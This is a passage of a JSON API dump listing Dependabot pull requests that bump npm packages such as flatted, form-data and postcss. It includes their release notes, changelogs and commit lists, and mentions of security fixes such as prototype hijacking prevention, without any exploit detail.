CWE-1321\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/0bdba705d130f00892b1b8fcc80cf4cdea0631e3\"\u003e\u003ccode\u003e0bdba70\u003c/code\u003e\u003c/a\u003e added flatted-view to the benchmark\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/2a02dce7c641dec31194c67663f9b0b12e62da20\"\u003e\u003ccode\u003e2a02dce\u003c/code\u003e\u003c/a\u003e 3.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/fba4e8f2e113665da275b19cd0f695f3d98e9416\"\u003e\u003ccode\u003efba4e8f\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/WebReflection/flatted/issues/89\"\u003e#89\u003c/a\u003e from WebReflection/python-fix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/5fe86485e6df7f7f34a07a2a85498bd3e17384e7\"\u003e\u003ccode\u003e5fe8648\u003c/code\u003e\u003c/a\u003e added \u0026quot;when in Rome\u0026quot; also a test for PHP\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/53517adbefe724fe472b2f9ebcdb01910d0ae3f0\"\u003e\u003ccode\u003e53517ad\u003c/code\u003e\u003c/a\u003e some minor improvement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/b3e2a0c387bf446435fec45ad7f05299f012346f\"\u003e\u003ccode\u003eb3e2a0c\u003c/code\u003e\u003c/a\u003e Fixing recursion issue in Python too\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/c4b46dbcbf782326e54ea1b65d3ebb1dc7a23fad\"\u003e\u003ccode\u003ec4b46db\u003c/code\u003e\u003c/a\u003e Add SECURITY.md for security policy and reporting\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/WebReflection/flatted/commit/f86d071e0f70de5a7d8200198824a3f07fc9c988\"\u003e\u003ccode\u003ef86d071\u003c/code\u003e\u003c/a\u003e Create dependabot.yml for version updates\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/WebReflection/flatted/compare/v3.2.9...v3.4.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `form-data` from 3.0.1 to 3.0.5\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/form-data/form-data/blob/master/CHANGELOG.md\"\u003eform-data's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/form-data/form-data/compare/v3.0.4...v3.0.5\"\u003ev3.0.5\u003c/a\u003e - 2026-06-12\u003c/h2\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] escape CR, LF, and \u003ccode\u003e\u0026quot;\u003c/code\u003e in field names and filenames \u003ca href=\"https://github.com/form-data/form-data/commit/8777e67fbd0282d3dcba81f974fbdd91062c5b23\"\u003e\u003ccode\u003e8777e67\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Dev Deps] update \u003ccode\u003e@ljharb/eslint-config\u003c/code\u003e, \u003ccode\u003eauto-changelog\u003c/code\u003e, \u003ccode\u003eeslint\u003c/code\u003e, \u003ccode\u003etape\u003c/code\u003e \u003ca href=\"https://github.com/form-data/form-data/commit/27c61a5deed84798be105c96605cb8bd00502dcd\"\u003e\u003ccode\u003e27c61a5\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e[Deps] update \u003ccode\u003ehasown\u003c/code\u003e \u003ca href=\"https://github.com/form-data/form-data/commit/6a8a1c6d04da36e15c80b16ecc4c0265082b3213\"\u003e\u003ccode\u003e6a8a1c6\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/form-data/form-data/compare/v3.0.3...v3.0.4\"\u003ev3.0.4\u003c/a\u003e - 2025-07-16\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[Fix] \u003ccode\u003eappend\u003c/code\u003e: avoid a crash on nullish values \u003ca href=\"https://redirect.github.com/form-data/form-data/issues/577\"\u003e\u003ccode\u003e[#577](https://github.com/form-data/form-data/issues/577)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCommits\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e[eslint] update linting config \u003ca href=\"https://github.com/form-d...\n\n_Description has been truncated_","html_url":"https://github.com/big-main/personal-security-checklist/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/big-main%2Fpersonal-security-checklist/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"}},{"old_version":"8.5.16","new_version":"8.5.17","update_type":"patch","path":null,"pr_created_at":"2026-07-16T18:41:16.000Z","version_change":"8.5.16 → 8.5.17","issue":{"uuid":"4904988678","node_id":"PR_kwDOLJ_vH87yqIGx","number":886,"state":"open","title":"chore(deps): bump postcss from 8.5.16 to 8.5.17","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T18:41:16.000Z","updated_at":"2026-07-16T18:45:00.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"postcss","old_version":"8.5.16","new_version":"8.5.17","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.16 to 8.5.17.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/1bf9076867e70f5a01776aebebee5aacbf9771ce\"\u003e\u003ccode\u003e1bf9076\u003c/code\u003e\u003c/a\u003e Remove old sponsors\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2d44be0923873ea6af2c3a1a191148e2ce9d733f\"\u003e\u003ccode\u003e2d44be0\u003c/code\u003e\u003c/a\u003e docs: fix invalid JS in writing-a-plugin examples (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2107\"\u003e#2107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/3298727755a676beced3cbe67015d42e70396e4f\"\u003e\u003ccode\u003e3298727\u003c/code\u003e\u003c/a\u003e Fix \u003ccode\u003eInput#origin()\u003c/code\u003e mixing null and undefined for unmapped end position (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2106\"\u003e#2106\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.16...8.5.17\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.16\u0026new-version=8.5.17)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/knocklabs/telegraph/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/knocklabs/telegraph/pull/886","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/knocklabs%2Ftelegraph/issues/886","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/886/packages"}},{"old_version":"8.5.15","new_version":"8.5.18","update_type":"patch","path":null,"pr_created_at":"2026-07-16T07:03:02.000Z","version_change":"8.5.15 → 8.5.18","issue":{"uuid":"4899589102","node_id":"PR_kwDOACTdwM7yYckW","number":11632,"state":"closed","title":"Bump postcss from 8.5.15 to 8.5.18","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-07-17T07:03:19.000Z","author_association":null,"state_reason":null,"created_at":"2026-07-16T07:03:02.000Z","updated_at":"2026-07-17T07:03:21.000Z","time_to_close":86417,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"postcss","old_version":"8.5.15","new_version":"8.5.18","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.15 to 8.5.18.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/4c0d194c136fd374495d0993c890d794cab65b81\"\u003e\u003ccode\u003e4c0d194\u003c/code\u003e\u003c/a\u003e Release 8.5.18 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/92b4e7891ec7b811821d01acc8aa0f010caf41e2\"\u003e\u003ccode\u003e92b4e78\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c\"\u003e\u003ccode\u003e95663d3\u003c/code\u003e\u003c/a\u003e Limit where source map can be loaded for security reasons\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/74e25ae9f4efaa56a41a449064a655d7da78072c\"\u003e\u003ccode\u003e74e25ae\u003c/code\u003e\u003c/a\u003e Release 8.5.17 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/d1518afd5a88f42728b30b87f8917210f363f9f1\"\u003e\u003ccode\u003ed1518af\u003c/code\u003e\u003c/a\u003e Fix Maximum call stack size exceeded error\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2421312ffea96ba77b35ce24a1b2d9c2e22b5e83\"\u003e\u003ccode\u003e2421312\u003c/code\u003e\u003c/a\u003e Fix linter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/a50352c583df991710f92ccac25b36304695161a\"\u003e\u003ccode\u003ea50352c\u003c/code\u003e\u003c/a\u003e Fix CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/33948f0969bb858acdd52c9692e3a785a3ed0a73\"\u003e\u003ccode\u003e33948f0\u003c/code\u003e\u003c/a\u003e Prevent prototype hijacking in fromJSON\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/2131909351161cd2c5fc2be58b14919a873ea824\"\u003e\u003ccode\u003e2131909\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/93440abcca92793b31c5d1fdf5f2da7b58b27599\"\u003e\u003ccode\u003e93440ab\u003c/code\u003e\u003c/a\u003e Fix non-closed \u003ccode\u003e\\\u0026lt;div align=\u0026quot;center\u0026quot;\u0026gt;\u003c/code\u003e in README (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2110\"\u003e#2110\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.15...8.5.18\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for postcss since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=postcss\u0026package-manager=npm_and_yarn\u0026previous-version=8.5.15\u0026new-version=8.5.18)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/alphagov/whitehall/pull/11632","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/alphagov%2Fwhitehall/issues/11632","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/11632/packages"}},{"old_version":"8.5.16","new_version":"8.5.19","update_type":"patch","path":null,"pr_created_at":"2026-07-16T03:48:46.000Z","version_change":"8.5.16 → 8.5.19","issue":{"uuid":"4898494167","node_id":"PR_kwDORksMTM7yU6bA","number":15,"state":"open","title":"chore(deps): bump the minor-and-patch group across 1 directory with 41 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-16T03:48:46.000Z","updated_at":"2026-07-16T03:49:32.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"minor-and-patch","update_count":41,"packages":[{"name":"@hookform/resolvers","old_version":"5.2.2","new_version":"5.4.0","repository_url":"https://github.com/react-hook-form/resolvers"},{"name":"@radix-ui/react-accordion","old_version":"1.2.12","new_version":"1.2.16","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-alert-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-aspect-ratio","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-avatar","old_version":"1.1.11","new_version":"1.2.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-checkbox","old_version":"1.3.3","new_version":"1.3.7","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-context-menu","old_version":"2.2.16","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-hover-card","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.8","new_version":"2.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-menubar","old_version":"1.1.16","new_version":"1.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-navigation-menu","old_version":"1.2.14","new_version":"1.2.18","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-progress","old_version":"1.1.8","new_version":"1.1.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-radio-group","old_version":"1.3.8","new_version":"1.4.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-scroll-area","old_version":"1.2.10","new_version":"1.2.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.2.6","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slider","old_version":"1.3.6","new_version":"1.4.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.2.6","new_version":"1.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle","old_version":"1.1.10","new_version":"1.1.14","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-toggle-group","old_version":"1.1.11","new_version":"1.1.15","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"date-fns","old_version":"4.1.0","new_version":"4.4.0","repository_url":"https://github.com/date-fns/date-fns"},{"name":"framer-motion","old_version":"12.35.2","new_version":"12.42.2","repository_url":"https://github.com/motiondivision/motion"},{"name":"react","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.7","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.3","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"react-hook-form","old_version":"7.70.0","new_version":"7.81.0","repository_url":"https://github.com/react-hook-form/react-hook-form"},{"name":"react-resizable-panels","old_version":"4.2.2","new_version":"4.12.2","repository_url":"https://github.com/bvaughn/react-resizable-panels"},{"name":"tailwind-merge","old_version":"3.4.0","new_version":"3.6.0","repository_url":"https://github.com/dcastil/tailwind-merge"},{"name":"zod","old_version":"4.3.5","new_version":"4.4.3","repository_url":"https://github.com/colinhacks/zod"},{"name":"autoprefixer","old_version":"10.4.23","new_version":"10.5.3","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"eslint-plugin-react-hooks","old_version":"7.0.1","new_version":"7.1.1","repository_url":"https://github.com/facebook/react"},{"name":"eslint-plugin-react-refresh","old_version":"0.4.26","new_version":"0.5.3","repository_url":"https://github.com/ArnaudBarre/eslint-plugin-react-refresh"},{"name":"postcss","old_version":"8.5.16","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"},{"name":"typescript-eslint","old_version":"8.52.0","new_version":"8.64.0","repository_url":"https://github.com/typescript-eslint/typescript-eslint"}],"path":null,"ecosystem":"npm"},"body":"Bumps the minor-and-patch group with 38 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [@hookform/resolvers](https://github.com/react-hook-form/resolvers) | `5.2.2` | `5.4.0` |\n| [@radix-ui/react-accordion](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/accordion) | `1.2.12` | `1.2.16` |\n| 